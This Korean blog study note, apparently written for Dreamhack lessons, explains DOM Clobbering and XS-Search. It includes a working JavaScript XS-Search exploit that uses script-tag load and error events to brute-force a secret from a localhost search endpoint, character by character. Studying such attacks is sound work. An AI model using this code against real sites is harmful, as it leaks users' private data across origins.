DOM은 브라우저가 HTML 문서를 관리하기 위해 사용되는 객체 모델이다.
var elem = document.getElementById("name");
elem.innerText = "My name is dream";
var div_elem = document.createElement("div");
var text_node = document.createTextNode("Welcome to dreamhack");
div_elem.appendChild(text_node);
DOM에 있는 element의 값을 수정하는 코드이다.
DOM Clobbering은 id, name등 HTML의 식별자를 이용해 js에서 DOM 객체들의 속성과 메소드 등을 변조하는 기법이다.
document.getElementById()를 사용하지 않고도 그냥 id를 변수처럼 사용할 수 있다.
<a id="link1" href="https://host"> host <a>
여기서 link1 id가 정의되어 있을 때 그냥 link1이라고 치면 link1속성을 가지는 저 <a> 태그가 나온다.
DOM을 방어하는 방법에는 간접적 메소드 호출 및 메소드 사용, DOMPurify 등의 라이브러리 사용이 있다.
Cross-Site Search(XS-Search)는 공격 대상 오리진에 스크립트를 삽입하거나 해당 페이지를 직접 방문하지 않고 피해자가 공격자가 의도한 서버에 접속하는 것만으로도 공격 대상 오리진의 비밀 정보를 얻을 수 있는 강력한 공격기법이다.
XS-Search는 SOP에 구애 받지 않는 img, style, script 등의 태그를 이용해 공격한다.
function req(url) {
let script = document.createElement('script');
script.src = url;
script.onload = () => console.log(200);
script.onerror = () => console.log(404);
document.head.appendChild(script);
}
req('http://localhost:8000/search?query=a');
req('http://localhost:8000/search?query=t');
script 태그를 이용해 SOP를 우회하는 예시이다.
async function req(url) {
return await new Promise((resolve, reject) => {
const script = document.createElement("script");
script.src = url;
script.onload = resolve;
script.onerror = reject;
document.head.appendChild(script);
});
}
async function search(query) {
try {
await req(
`http://localhost:8000/search?query=${query}`
);
return true;
} catch (e) {
return false;
}
}
async function exploit() {
let chars = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
let secret_length = 20;
let secret = "";
for (let i = 0; i < secret_length; i++) {
for (let c of chars) {
if (await search(secret + c)) {
secret += c;
console.log(`found: ${secret}`);
break;
}
}
}
}
exploit()
이 코드는 XS-Search를 이용해 비밀번호를 가져오는 코드이다.
'웹해킹' 카테고리의 다른 글
드림핵 DOM XSS 롸업 (0) | 2023.11.26 |
---|---|
드림핵 XS-Search 롸업 (0) | 2023.11.26 |
드림핵 Relative Path Overwrite Advanced 롸업 (0) | 2023.11.26 |
드림핵 Relative Path Overwrite 롸업 (0) | 2023.11.26 |
Relative Path Overwrite (0) | 2023.11.26 |